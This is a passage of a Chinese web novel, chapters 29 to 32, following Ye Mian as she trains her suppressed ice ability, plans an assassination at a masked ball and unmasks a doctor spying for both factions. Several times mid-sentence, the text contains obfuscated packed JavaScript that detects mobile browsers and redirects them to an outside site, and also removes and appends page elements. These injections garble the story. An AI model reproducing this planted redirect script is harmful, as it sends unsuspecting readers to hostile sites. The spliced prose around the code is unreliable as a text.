“因为异能抵抗。只要带着四代环,这种抵抗就一直在发生,你身体里每时每刻都会有封锁抗体被激活,所以哪怕本来十五分钟的特效药能让人正常使用异能,你额外需要在这十五分钟内先顶住抵抗,然后才能发挥实力。” “就像技能读条?”叶眠立刻懂了。 “是的,需要读条,”沈舒白笑了下,“你试过解开禁制环的异能吗?” “别提了,”叶眠想起法蒙就想砂仁,“半个小时的自由只够我造出几根冰牙签的。” 沈舒白的表情明明白白:那你要这特效药也没用啊。 叶眠开始幻想时间:“如果我把异能练到S,是不是十分钟自由也能发挥出很高实力了?” 她以为沈舒白会笑她不自量力,没想到他认真地想了想:“如果正常水平到S级,那顶着抵抗出手或许真的可以达到A级水平,唯一的问题是需要苦练,且必须考虑到异能透支的风险。” “嗯嗯,嗯?”叶眠第一次听到这个风险,于是追问,“异能透支有什么后果?” “轻则暂时失灵,重则等级倒退。”沈舒白意有所指地看了一眼她脖子上的禁制环,“谨慎锻炼。” 叶眠回去的时候还在想,她这种梦里锻炼的,会有损于现实中的异能吗? 如果沈舒白说得没错,那她前三次梦里透支可不止一次两次了,但好像……也没什么妨碍效果? 梦里大火还有保护异能不受削减的好处啊。 叶眠想到这,理所当然地认了下来——谁家好人重生没有金手指的!她必须有! 不是很困,但叶眠实在是很想赶紧练异能,她鬼点子一堆,干脆买了两瓶安眠药,试图手动入睡。 不是随机出现吗? 之前三四天出现一次,那我一天睡三四觉呢? 于是陆风回来的时候,看到的就是叶眠手里空了半瓶的安眠药,人躺在床上,脸色苍白,人事不知。 他心里一紧,一手捏开她的下巴,没想到下一刻叶眠猛然睁眼,一脚踹向他小腹。 “不是……等等……” 你来我往地过了几招,陆风没用异能,挨了两拳才把话说全:“别打了!我什么都没想干!” 叶眠一只腿勾在他脖子上,如果下一句话不好听,她就要立刻使出一记裸绞。 “我睡得好好的,你要干什么?!” 陆风一口气差点没上来:“我以为你吃安眠药自杀!” 叶眠愣了一下,从他身上爬下来:“早说啊。” 她不确定陆风知不知道自己抗药性过人的事,心想万一是她重生带来的呢,干脆没提。 “你让我说了吗!”陆风眼露悲愤。 “自杀是我能干出来的事情吗!”叶眠理不直气也壮,“你也不想想。” 陆风抿了抿唇。 叶眠:? “如果是叶绵绵的话,是的。”陆风泄了气。 他在外面跑了好几天,也是一身风尘,没想到回家开门见喜,眼下直接情绪反扑。 “唉。” “收收怨夫味,陆指挥。”叶眠心想我在梦里练得好好的,你把我弄醒我还没叹气呢。 陆风完全意会了,他几乎是投降般地说:“你不分青红皂白打我一顿,我也没说啥啊。” 叶眠一手把他拉起来,自然地岔开话题:“这两天干什么去了,家都不回。” “德里克家族要迎回安娜和艾文的独子,作为唯一的继承人,这件事近期传得沸沸扬扬,”陆风扯下领带随手扔到旁边,“但是这位继承人先生捂得严严实实,实在是想不到他会是什么身份。” 德里克家族的名字曾经出现在陆峰的档案中,叶眠坐在床边,问:“德里克家族有什么特别需要注意的吗?” “没什么,”陆风云淡风轻地把话揭过,“顽固派的中流砥柱罢了,已入垂暮。” 叶眠说:“那这位年轻的继承人回归,岂不是正好补充了新鲜血液?” “是草包就算了,德里克的小辈里,混子不少。但能让他们族内老人都承认的继承人,多半是真的有点手段,我们最好先下手为强,”陆风顿了顿,“如果你异能恢复了就好了。” “又用得上我了,”叶眠半真半假地叹了口气,“陆指挥,你总让我想到一句话……” 陆风心知肯定不是什么好话,根本不接声,但叶眠自己独角戏也唱得开心:“从不质疑真心,但真心瞬息万变。” “我不觉得真心和工作是冲突,”陆风反驳说,“你说我把你当工具,但谁会喜欢上工具呢?” “喜欢也可以乱丢的话,这份喜欢似乎也不怎么珍贵。”叶眠站在旁边,一路看他脱掉衣服,露出精壮的上身。 赏心悦目的身体,可惜没洗澡。 所以不想碰。 陆风瞥她一眼,欲言又止,但到底没说什么,直接进了浴室。 叶眠迅速打开终端,感觉自己就像背着正宫找小三的坏蛋。 遇到困难睡大觉:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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遇到困难睡大觉:“如果法蒙是德里克继承人,那可就有意思了。” 叶眠舔了舔嘴唇,她的行事主旨一向是大胆猜测、小心求证。 假如顽固派的窝子里,出了一位革命党领袖。 这可不是简单的离心,而是一场彻底的背叛。 白干全白干:“不是,你还真怀疑他啊?” 遇到困难睡大觉:“我会求证,但你最好也提前查查德里克,可别是把老大当草根这么久,突然发现人家[笑脸]。” “怎么表情这么不好?”陆风走出浴室,问闭眼假寐的叶眠。 “在想怎么能杀了德里克的继承人。”叶眠一动不动。 陆风一愣,讶于这份毫不遮掩的杀意,但又十分乐见其成。 “我们连他的身份都不清楚,你想怎么杀?”他躺到她身侧,没有任何要动手动脚的意思。 叶眠想得很简单。 她哪管继承人到底什么身份? 她的目标从始至终只有一个——杀了法蒙,处理掉胖子家的事情,然后远走高飞。 法蒙作为中将或者典狱长,肯定都是A环内的角色,这场继承人的公开仪式上,他一定会露面。只要混进能混进宴会…… “听说宴会是化妆舞会的形式,”陆风看着她无动于衷的侧脸,微微有点出神,“入场券不好拿,德里克已经送了不少,基本都是A环的人。” 化妆舞会? 叶眠睁眼。 “舞会时间?” “两周后。”陆风答。 “你是最早知道消息的人吗?” “应该是。” “哪天知道的?” “我们上次见面的第二天,怎么了?”陆风换了个姿势。 所以,法蒙知道得更早。 他就是德里克的神秘继承人。 叶眠合上眼睛:“睡觉。” 她想:果然是越来越有意思了。 30. 第 30 章 梦里一睁眼,叶眠先打量了一番四周。 没见过,起名为出生点五号。 她原地坐下,先像技能前摇一样长叹一声,然后才启用异能,冰粒出现,悬浮在双手之上。 冰块像抽丝一般逐渐长大,直到开始心慌头晕,叶眠就停下,然后硬捱,过上半小时左右,恢复得差不多了,再重复这套动作。 枯燥乏味,但不得不坚持。得知法蒙就是德里克继承人之后,叶眠把两周后的舞会当成了刺杀的舞台。 法蒙态度尚可,宴会上势力错综复杂,连蒙面主题都在为她铺路,叶眠认为这是一个难得的机会,她想搏一把。 她抱着冰坐在地上,过了最初眼前发黑那几秒,低头一看,突然发觉已经比最一开始凝出的冰块大上一圈。 这么立竿见影吗?她有点惊讶,于是第二轮换成凝冰锥,正好作比较。 喜获六把初始冰锥,比第一次做梦的时候,整整多了一把。 冰锥夹在指头缝里,凉得手掌发僵。 进步很明显,甚至有点太明显了,叶眠若有所思。既然这么有效,她忍不住想到一个更好的训练方法——既然要力竭才能突破,那保持力竭不就好了? 直接去掉休息时间,透支自己,保持整个梦里都是用不出异能的状态。 叶眠大赞:真是太有操作了。 因为没有对照组,她根本想象不到,这种长时间力竭的做法在他人眼里是第一大忌。 真是做梦才能成功的训练方式,谁不知道练异能过犹不及?毕竟揠苗助长不可取,劳逸结合才是王道。 但叶眠不知道。 她不是做梦,她直接作弊。 - 又是一点没有划水地练了一夜,叶眠睁眼,疲惫地感觉自己又双叒叕通了个宵。 “昨晚没睡好?”陆风一只手撑着头,靠在她身边。 “你怎么没出门,”她伸手拿过那瓶安眠药,没看他一眼,“做噩梦了,现在我要继续睡了。” 陆风特意摆好姿势等了她十几分钟,甚至还理了头发、刮了胡子,结果喜获一个练了一晚上异能生无可恋准备继续睡觉的叶眠。 陆风眼看她闭上眼,眉毛一抽:这合理吗? 叶眠哪管陆风是怎么想的,天要下雨她要睡觉。 陆风盯着她侧脸五分钟,像是要把人盯出个洞来,结果就听着叶眠逐渐稳定的呼吸——她真又睡着了! 没办法,只能愤愤不平地起床,他有心闹出点动静把人吵醒,结果看到叶眠陷在枕头里的脑袋,脸色发白,眼底发青,确实是没睡好的样子。 陆风舔了舔牙龈,心想,算了。 等他一走,叶眠悄悄睁眼,瞪着天花板,心中槽多无口。 太热情了。 大清早的,勾引谁呢? 这是想让她从此君王不早朝吗,大胆! 叶眠默念:男色在旁,但正事要紧,正事要紧。 - 之后的几天,叶眠仗着自己抗药性是常人几倍,把安眠药当零食吃,每天24个小时里,有20多个小时在睡觉,只为了在梦里多压榨一下自己。 剩下时间,除了日常活动,就是亲切问候小沈医生环节。 遇到困难睡大觉:“小沈医生~” 沈舒白的通讯账号里,白干全白干终于得了闲,但沈医生这个号被迫承受了双倍的狂轰乱炸。 沈医生:“没有。” 遇到困难睡大觉:“我还没问呢[笑脸]。” 沈医生:“叶女士如果没什么事情做,可以多出去逛逛。” 遇到困难睡大觉:“没钱。我不工作,陆指挥不给我发钱。” 沈舒白:冷静。 ……忍一时越想越气。 他咬着牙,心道你上次不是用法蒙不发工资的借口从我这“预支”了两千块? 打了几个字又删掉,最后沈舒白还是决定沉默。 遇到困难睡大觉:“沈医生加油啊,还需要我做什么检查吗?随叫随到[笑脸]。” 沈舒白:忍! 陆风这边也觉得事态严重,担心叶眠是在监狱里给自己憋出了什么心理疾病,他甚至找了胖子,说叶眠最近状态太奇怪,每天睡不醒,拜托他去劝劝。 胖子无聊到长蘑菇,一听这话立刻感觉重任在肩。第二天上午就去敲门,把睡觉(练异能)的叶眠吵醒,她的脑袋出现在门后:“干嘛?” 胖子咽了咽口水:“怕你自杀。” 叶眠一想就明白了:“陆风找你当说客?” 胖子绞着手指:“主要,他说,你吃安眠药比吃饭还多,我怕你想不开。” 叶眠看他一脸真诚的疑惑,叹了口气,把人拉进房间。 胖子的注意力被陆风的套房装潢吸引:“哇,这画,作者还蛮有名的,是真迹吗?” “不知道,”叶眠拢着睡衣往沙发上一瘫,“陆风24小时监视这里,看上了也不能拿。” “噢,啊?我没准备拿啊?”胖子挠头。 ——是我想拿来着。 叶眠选择性忽略了他的问题:“总之,我最近睡得比较多,是因为我在长个子。” 胖子:“这样啊……啊?” 叶眠认真点头:“不用担心,我再长一个星期个子就好了。” 胖子:? 她一本正经地胡说一通,把胖子糊弄得忘了北东西南。他看叶眠精神不错,除了觉多之外好像也没什么值得注意的地方,放下心来也就没再追问。 等胖子一走,法蒙就发来消息。 法蒙:“下午来试礼服[定位]。” 叶眠:哦豁。 往上翻了翻,她发过几次消息,但法蒙回复全凭心情,她也懒得再自讨没趣,顺便死了线上勾搭线下反杀的心。 遇到困难睡大觉:“老板,路费[伸手]。” 法蒙刚签完文件,扫到终端这条消息,手头一顿,自动脑补了叶眠抬着头,眼睛瞪得微圆,伸手跟他要钱的模样。 啧。他有点想笑,又忍住。 叶眠的消息他次次都看,但不知道怎么回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224761|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复。 “感觉像是还俗的尼姑,长了一层青发茬,摸起来扎手。” “世界上根本没有好吃的饭。” “陆风真的很缠人。” 法蒙:啧,陆风。 他跟刘仁说:“给叶绵绵发工资,按党内规制来就行。” 刘仁百忙之中先应了一声,过了会儿才想起来,抬头张嘴就要问她应该归在哪一类里,结果看到自家上司手里握着笔,半天没动弹,明显在走神。 得,别问了,多嘴说不定还要挨骂。刘仁叹了口气,一丝不苟地按照规制开始给叶眠算工资。 法蒙斟酌了好一会儿,才重新给叶眠发了个下层区的坐标,离她不远:“我派人接你。” 叶眠摸了摸下巴,走神了一霎:陆指挥你这个基地,人家心里是门儿清啊。 下午,她准时到达了指定地点,被迫兼职司机的刘仁木着一张脸:“叶小姐,我是刘仁,请上车。” 叶眠今天戴了套绿色的假毛,远看像是一顶毛茸茸的绿帽子。她哼着歌,顺手跟陆指挥报备了一下行程,看得出来对方确实很忙,过了一阵才会了个“好”。 刘仁公事公办地说:“革命党作为议会党派,普通成员每年要交五千块会费。” 叶眠:“等下?我倒贴打工?” 刘仁设定好悬浮车的目的地,好声好气地解释:“您作为初级外勤有额外补助,标准是6000一个月,通勤费额外报销,之前您申请的装备会从补助预算中扣,所以这两个月到手数字大概不会很好看。” 叶眠:“不会太好看,是多不好看?” 刘仁避而不答:“毕竟我们党派资历太新,经济上需要考虑的地方太多,暂时不能给外勤划太高预算。您的定位也并非高风险前线,想必只要略施手段,陆指挥那边也能拿到不少,生活肯定不成问题。” 叶眠气笑了。 法蒙真是打的一手好算盘,当她在反抗军里cos陆指挥养的花瓶,实际上除了同事哥支援的那点资金,谁能想到现在她终端里只有几十块。 她憋着这口气,直到车子进了B环内,在一家“知名”的礼服定制店见到了法蒙。 刚想刺他两句,叶眠瞥到结账台上小字密密麻麻的定价表,个十百千万十万……她有了点新主意。 法蒙看到她的一头绿毛,眉头下意识一紧:“怎么戴的这种颜色。” 这种翠绿色,不得不让他想起自己亲手把叶眠送到陆风身边的事情,他甚至疑心叶眠是不是在故意讽刺,又立刻意识到自己情绪上的越界。 “不好看吗?多生机勃勃啊。”叶眠笑得像个小白花,手指勾住一缕假发,半生不熟地给法蒙抛了个媚眼。 刘仁:“……先生,人送到了,那我先走了。” 叶眠偏头冲他也笑了笑,不知为何,刘仁心里微寒。 法蒙没看到他俩的交锋,更不知道手下的人拿了他一句“按规制来”,就公事公办到给叶眠把工资一砍到底。 他轻咳一声,冲刘仁点点头,然后对叶眠说:“来。” 31. 第 31 章 “这几款是先生挑过的,小姐看看,更喜欢哪一条?” 五个立体投影的无面模特站在三人周围,五条大红色的裙子呈包夹之势,衬得叶眠一头荧光绿毛格外闪耀。 设计师感觉自己那根名叫“不许红配绿”的脑筋在尖叫。 “陆风有苛待你吗?”法蒙稍微弯腰,在她耳边说,眼神不自觉地在明显劣质的绿色发顶上徘徊。 叶眠注意力落在几条裙子上,心不在焉地答:“嗯,对。他自己的假发都是定制,我戴不了,也没钱买。” 她正好站在裙摆最大的那道投影前,考虑能不能让设计师把里面裙撑下挖空。 设计师有些骄傲地说:“这条是经典的复古风格,我们还原了其中的三十二层衬裙,真材实料,绝非外面那种糊弄裙撑。” 叶眠看他一眼,又看了看裙子。 真不能挖吗? 她想在裙子里藏装备。 法蒙低头离她太近,甚至能闻到假毛塑胶的味道。那股怪味挤进鼻子里,因为见面而加快的心跳嘎巴一下平了。 他克制地皱眉,站直,然后撤步,叶眠敏感地察觉了,莫名其妙地给了他一眼。 法蒙微微咬牙,对设计师说:“再给她做一顶假发。” 叶眠立刻补充:“绿色的,谢谢。” 法蒙忍了忍,没忍住,再次开口:“墨绿,深一点。” 叶眠:“太保守了,想出彩就要配色大胆一些。” 法蒙问:“你要红配绿吗?” 叶眠一脸无辜:“抱歉,我不知道你挑的礼服都是红色啊?毕竟你也没问过我喜欢什么款喜欢什么色,都独裁到这样了,还要我来一趟干嘛。” 法蒙略微一顿,叶眠怼完他就好像没事儿人一样,溜达到另一条裙子面前,伸手碰了下投影,结果裙摆上的饰品细节放大,吓了她一跳。 设计师看着法蒙阴沉沉的表情不敢说话,心中有点不好的预感。 果然,下一秒他就捏了捏眉心,说:“那你想要什么款式什么颜色?” 叶眠背对着他,眼里露出笑意,转头的时候眉毛挑着,语气兴致勃勃:“我就喜欢裙撑款,黑色怎么样?” 设计师张了张嘴,想说那这前面的方案都不要了吗? 法蒙却已经冷声答:“不要黑色。” 这种性质的舞会,穿一身黑像什么样子? 叶眠耸了耸肩,没出声,反正她的目的只有裙撑。 穿那么厚的裙子还怎么动手? 就要便宜裙撑! 设计师感觉自己心在滴血:“裙撑款容易显得廉价,小姐,我们……” 叶眠看向他,无害地质疑:“这不该是你们要处理的事情吗?都高级定制了,指定裙撑而已,做不了吗?” 法蒙视线投来,设计师下意识站直:“没问题,交给我们。” 叶眠赞许点头,然后走近,压着声音商量法蒙:“那黑色不行,你选呢?” 两人之间距离不过半人,他想起自己刚点名的假发颜色,说:“也墨绿色吧。” 叶眠学他对设计师说:“墨绿,深一点。” 设计师脑子里过了一下颜色,长长地叹了一口气:“好。” 难,但也不是做不出来。 “我们预算可以再拉高一些,别担心,”她伸手拉住法蒙的胳膊,稍微一贴,笑得眉毛不见眼睛:“是吧,先生?” 打工人何苦为难打工人,冤大头在这呢。 设计师肉眼可见的眼睛一亮,法蒙稍微一侧脸,就看到叶眠抬头撞上来的眼睛,跟他想象中伸手要钱的表情差不多。 像偶尔有求于人才肯贴贴的猫。 有种冲动催促着他,紧了紧手臂,把二人之间的最后一线距离掐灭。 “可以。”他嘴里说着,眼神却凝在叶眠脸上,想看她还要玩出点什么花来。 叶眠:这么大方,不能从指头缝里给我漏点? 她认真地跟他对视了一会儿,然后问:“为什么一直盯着我?终于发现我好看了?” 法蒙收回视线,语气微冷:“想太多了。” 他把胳膊从叶眠的手中抽出来,好像忘了刚刚把人拉近的是谁一样。 叶眠:男人心海底针。 测量仪扫过全身,所需的围度数据就录入了终端,设计师端着客户“涨预算”的口风,走起路来都虎虎生风,客客气气地给他们指完路就走了。 叶眠跟法蒙穿过作品展柜,两侧华丽的礼服似乎要晃花人的眼睛,虚空投影的铭牌上写着它们曾经出现的时间和场合。 “这个舞会,我除了需要人到场,还需要准备什么别的吗?”叶眠问。 “没了。”法蒙答。 “那主题是什么,都会有什么人,我能知道吗?”叶眠走在他身边,没有超前也没落后,刚刚好与他并排。 “陆风没跟你提过吗?”法蒙反问,“你们已经生疏到这样了?” 他还想说,不是说他缠人得紧吗? “噢,他最近确实在忙,”叶眠慢慢地说,“可能也在活动关系,想混进舞会吧?” 法蒙微不可察地勾了勾唇角:“你不怕他撞到我们一起么?” 叶眠惊讶地看向他:“为什么要怕,不是假面舞会吗?” “就算带着假面,如果是熟悉的人身形也很好认,”他避开她的目光,平视前方,“凭你们的关系,他不可能认不出你。” “法蒙先生,”叶眠有些困难地忍住笑,但眼角脸颊的肌肉还是微微向上,露出一点促狭的意味,“如果你真的不想让他来,说句话的事情而已啊,何必问我?” 这番话踩一捧一,叶眠说得毫无负担,但却成功地愉悦到了法蒙。 他眉头微微舒展,眼角弯了半个像素点:“你太小瞧他了,陆指挥的身份我们能掌握的不过三分之一。反抗军偌大一个基地立在那里,我们查到也不是一天两天,但还是不能动,为什么?” “因为地下四通八达,因为防御力量不明,”叶眠摊手,“因为不能打草惊蛇,因为要顺着陆风摸到反抗军大本营。” 法蒙讶于她的思路清晰,颔首说:“是这样。” 叶眠回忆了一下陆风的行事风格:“革命党和反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们不知道自己的中将是革命党,他们心里的联盟自然不是法蒙的联盟。 法蒙深深地看向她,没有说话。 叶眠稍微闭了闭眼,懂了。 法蒙从外套里抽出自己的配枪,磕出弹匣:“上次说见面给你装备,今天太匆促,先拿着吧。” 叶眠还没从刚刚那种混杂失望和隐怒的心情中脱离出来,下意识接过枪,立刻想到这就花了自己两个月的工资,于是深仇大恨地搓了搓枪柄上的编号。 “一周后我下午派人接你,如果舞会上有什么环节需要你独自处理,别慌,端住了。” 法蒙撂下这句似是而非的提醒就推门而出,看都没看身后的叶眠一眼。 叶眠把弹匣卡进枪里,用眼神瞄住法蒙离开的背影。 微型暴缩弹,能杀掉法蒙吗? 她无端想起:她还不知道法蒙的异能。 32. 第 32 章 “法蒙的异能是什么?” 当晚,叶眠躺在床上,少见地没磕安眠药睡大觉。 “怎么又说他,不是休息吗?”陆风靠在床头,抓着叶眠的手,捏来捏去。 叶眠斜眼看他:“早晚的事。” “金属变形,”陆风一根根捏过她的手指肚,直到白皙肤色上浮出浅粉,“杀伤很强的异能。” 禁制环无疑属于金属。 叶眠抽出手:“睡觉。” 陆风:? “等我回来就为了问这么一句吗?”他低头,看着叶眠闭着眼睛没有表情的脸。 叶眠:人贵有自知之明。 谴责的视线太灼人,她睁眼:“那我是不是应该问问你,今天累不累?顺利不顺利?” 陆风一笑,眼睛就好像清澈的水潭荡起微波,叶眠不太懂他这种蛊人的劲儿怎么练出来的,但用脚趾头想,他对叶绵绵也不该这样。 ——不然叶绵绵就不该是单相思了。 “不累,挺顺利的。今天有个身份拿到了入场券,你要来做我的女伴吗?”他问。 叶眠睫毛抖了一下,在他察觉不对之前迅速调整:“你很需要这个女伴吗?” “嗯?”她加重语气,指了指自己发青的脑壳,又指了指脖子上显眼的禁制环,“如果特别需要,那我可以来,如果是一般需要,那我觉得可以不要。” 陆风脸色变得有些复杂,他摸了摸叶眠头顶,感觉像是在摸自己的胡茬子。 “不想去算了,我也就是想看看那位继承人到底是什么身份,”他对上叶眠清明的视线,熄了别的心,只道再等等,“你这个颅骨恢复得倒快,睡吧。” 很对,叶眠赞美地点点头:“晚安。” ——晚上就是用来睡觉的,什么睡前运动,不懂不懂。 但,她白天实在睡多了,此刻竟然有点失眠。 叶眠实在猜不到,法蒙是掌握信息太少还是有心放他一马,让陆风去晚宴,他就这么想被捉奸? 不对,双面间谍的事情,怎么能叫捉奸呢? 她往被子里缩了缩,代入法蒙的视角,只觉得这事儿莫名其妙,然而她越思考越觉得,他可能是故意的。 就像上次在天空之脊憋了口气要报复回来。 ……他有病吧?? - 第二天上午,叶眠准时地出现在沈舒白实验室门口。 “小沈医生~”她叫得亲亲热热,心里却是百般焦灼。 陆风不知道自己跟法蒙认识甚至熟悉的关系,法蒙主动造了晚宴的修罗场,万一把陆风惹急了,遭罪的还是她自己。 就现在这个武力值,陆风只要动异能,杀她分分钟的事情,如果沈医生的研究进度不够她自保,难道还得找法蒙求援? 想到这,叶眠心里又骂一遍:他有病吧? 沈舒白连熬几个大夜,兢兢业业地配药剂,昨夜刚做出试验版,此刻面无表情地把注射器塞她手里:“去里面。” 叶眠往里看了看,表情有些惊讶:“是去小沈医生的卧室吗?” 沈舒白内心:宿舍,谢谢。 但叶眠这句话的意味,怎么听怎么怪,他用迟缓的大脑分析了一下,不知道分析到哪了,耳尖竟然带了点红。 叶眠:? “半小时后我要抽你的血做检验,”他清了清嗓子,“你东西要得急,我们只能跳过临床直接上实战。” “行,”叶眠抬脚走进,“我信小沈医生不会害我。” 我要是害你就不会当时救你了。沈舒白想。 叶眠礼貌地坐在椅子上没碰床,注射液推进手臂,她才想起来忘了问这是哪个功能的。 算了,反正都差不多。 她看了眼没有动静的外间,果断拉开桌子抽屉,开始寻找。 这可是陆风的个人医生,他的卧室指不定能有点什么有用的资料,倒手卖给法蒙,说不定等陆风对自己痛下杀手的时候还能有点底气。 沈舒白在实验台前空白地坐了一会儿,突然想起来最好让叶眠直接试试异能。 于是他推门而入,就看到叶眠手里拿着那个叶绵绵送来的吊坠,写着“谢谢”的字条也重见天日,稳妥地放在桌面上。 沈舒白:?!?!?! 叶眠语气有点微妙:“小沈医生,你跟叶绵绵……也有一段吗?” 沈舒白矢口否认:“不要血口喷人!” “你别误会,失忆之后,自我认知一直不太对,”叶眠一脸若有所思,抬手在终端上写下两个字,调向展示给沈舒白,“虽然我不认为自己是叶绵绵,但我的笔迹、身手,这些都跟她一模一样,你有什么头绪吗?” 终端上的“谢”,跟纸条上的“谢”,别无二致。 “如果不是叶绵绵,那你是谁?”沈舒白稍微冷静了一些,就事论事地问。 “叶眠。”叶眠说着,耸了耸肩。 “抱歉,”沈舒白控制住呼吸,尽力维持平静,“我并不知道你遭遇了什么导致性情大变,所以无能为力……” “等等等等,先别急着撇清关系,我还有一个发现,沈医生,”叶眠眼里冒出一些笑意,她是真地觉得有意思极了,“你的笔迹,很眼熟。” 桌子上放着一些他的手稿,电光石火间,沈舒白想通了一切。 “你的笔迹,跟我在监狱里收到的一张字条,也有点像呢。”叶眠放下吊坠,语气轻慢。 ——她刚醒来的时候,袖子里那张提醒她联系法蒙的纸条。 沈舒白心想,毁了。 “所以,你真的不知道我在监狱经历了什么吗?”叶眠摸了摸自己完好的后脑勺,“我现在该叫你,小沈医生,还是沈医生,或者同事哥?” 她好整以暇地看着沈舒白脸色变换,心里都有点替他崩溃了。 掉马这事来得猝不及防,她没想到,沈舒白更没想到,因为最近太忙疏忽了细节,以前埋下的隐患冷不丁就这么爆炸了。 沈舒白搓了搓自己的脸,脑子里还在紧密地搜索有什么借口和理由,想到她要的药剂,想到她的双面间谍身份,明明把柄还有不少,但看着叶眠满脸得意却没什么算计,他突然决定,算了。 “好吧,好吧,”沈舒白摆烂一样地摊开手,表情也松弛下来,“想怎么叫都可以,如果你认那份救命之恩,就别把我捅上去,毕竟我这么多年也不容易。” “嗯哼哼,”叶眠又笑,“所以我问你哪个老大,还真是问哪个老大。” 沈舒白瞟她小人得志的模样,叹了一声:“是啊,被发现了。” 等了等,两人大眼瞪小眼,都没有进一步的反应了。 真是出乎意料,沈医生好说话得紧,叶眠试探性地问:“那你在他俩手里,有什么把柄吗?” 沈舒白摘了眼镜,干脆往床上一坐,长腿岔开,姿态也放松下来:“我跟你不一样,我是良禽择木而栖,贤臣择主而事。” “脚踩两条船,”叶眠点点头,“所以你更看好谁?” “这问题也太敏感了,”沈舒白表情古怪,最后懒得纠正她的评价,只诚恳地说,“实话,都不看好。” 叶眠两手一拍:“其实我也是。” 沈舒白:? 叶眠真诚地说:“你对他俩不是真心的,我也不是真心的,所以其实,我们才是一条船上的人啊!” ——未来女帝伸出了她的第二根橄榄枝。 但沈舒白明显不如胖子好糊弄,他莫名其妙地看她一眼:“什么船不船的,你都说我脚踩两条船了,还要我踩三条吗?” “哎,话不是这么说的,”叶眠摆手,“万一哪天我飞黄腾达,拳打陆风脚踢法蒙,你跟着我干,我直接给你记头功。” 沈舒白死亡凝视半晌,冒出来一句:“那你先飞黄腾达了再说吧。除了神经兴奋程度提高,还有什么别的感觉吗?” “什么什么感觉?”叶眠没跟上他的思路。 沈舒白叹气:“你刚刚打的药,是暂时解除异能环效用的,现在有什么不好的感觉吗?” 他说完,叶眠才意识到,自己确实有点不同寻常的兴奋了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224763|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细地审视了一下全身上下,说:“有点像醉氧的感觉。” ——就像喝酒喝高了一样,有点晕晕乎乎,还容易兴奋。 沈舒白记下这条,说:“你试试异能,药效半小时,现在还剩一刻钟。” 叶眠伸手,滞涩地调动异能,冰锥缓慢成型,最终停在了少一半锥尖的形态。 两人看着这把半成品冰锥,像是在研究什么稀世珍宝一样。 “A级异能为什么会这么弱,”沈舒白不可思议地说,“我以为A级攻击异能都是分分钟秒杀敌人的。” “换陆风活着法蒙的话,差不多。”感受着冰锥在手中融化的速度,叶眠心想不止数量,质量也不行,温度比梦里凝出的深蓝色冰高太多了。 “我的话,现在确实不行,需要你研发出来针对异能抵抗的药。”叶眠捧着自己的异能产物,真诚地看向沈舒白,却见他稍微推开了一点她的胳膊,表情抗拒。 “离我床远点,滴上了。” 叶眠一手水,滴滴答答的,她恶从胆边生,信手一甩,沈舒白眼疾手快地用袖子一挡,结果还是沾到一些。 叶眠看他实在好欺负,忍不住又想笑,一边好奇地问:“你当时为什么要救我?暗恋叶绵绵吗?” 沈舒白袖子后面露出一张惊恐的脸:“开什么星系玩笑,我只是觉得她有点可怜。” “为感情付出生命是最没意思的死法了,”叶眠点头,“我会记得你的救命之恩的,沈医生。” 沈舒白还愣着,叶眠把化了大半的冰锥“当啷”一声扔进垃圾桶,“等会儿我再试一次,沈医生,我未来的自由和幸福都托付给你了啊。” 沈舒白:啊?? 叶眠醉氧的状态一直没过,思路跳脱到让人应付不来,沈舒白好说歹说把她劝住,抽了血放进检测仪,她又不知道从哪摸出来那个叶绵绵送的吊坠,表情有些邪恶。 “姐,叶女士,叶眠,”沈舒白感觉有点心梗,“您还要怎么样?” 叶眠说:“这个给我。” 沈舒白屈服了:“别让陆风看见。” 叶眠笑吟吟地把东西收了起来:“等你把两种药都做好,姐给你送点更好的。” 沈舒白心道咱俩谁大谁小,叫你声姐还真把自己当姐了,面上却一副忠厚老实的表情,手下操作不停:“那姐有钱吗?姐还欠我两千什么时候还?” “同为间谍,资金周转不易,懂得都懂啊,”叶眠岔开话题,“我看这机器不错,能卖不少吧,哈哈。” 沈舒白无奈地笑了下,由她去了。 - 晚上,陆风就看叶眠拿着一个挂坠,抛起接住,一脸思索之意。 “最近跟小沈走得很近?”他状似无心地问。 “噢,还行,”叶眠坦荡荡地说,“确实多聊了几句,他说你室内戴墨镜还是有装x地成分在。” 陆风莞尔:“只是作为保险,毕竟你之前也把这个当作情趣。” “什么情趣?”叶眠接住吊坠,饶有兴趣地问。 陆风没想到她还要追问,脱衣服的动作一顿。 “呃,看我流眼泪?”他说。 叶眠摸了摸下巴:“你别说,我跟叶绵绵还真是有点像的哈。” 男人的眼泪最棒了好吗! 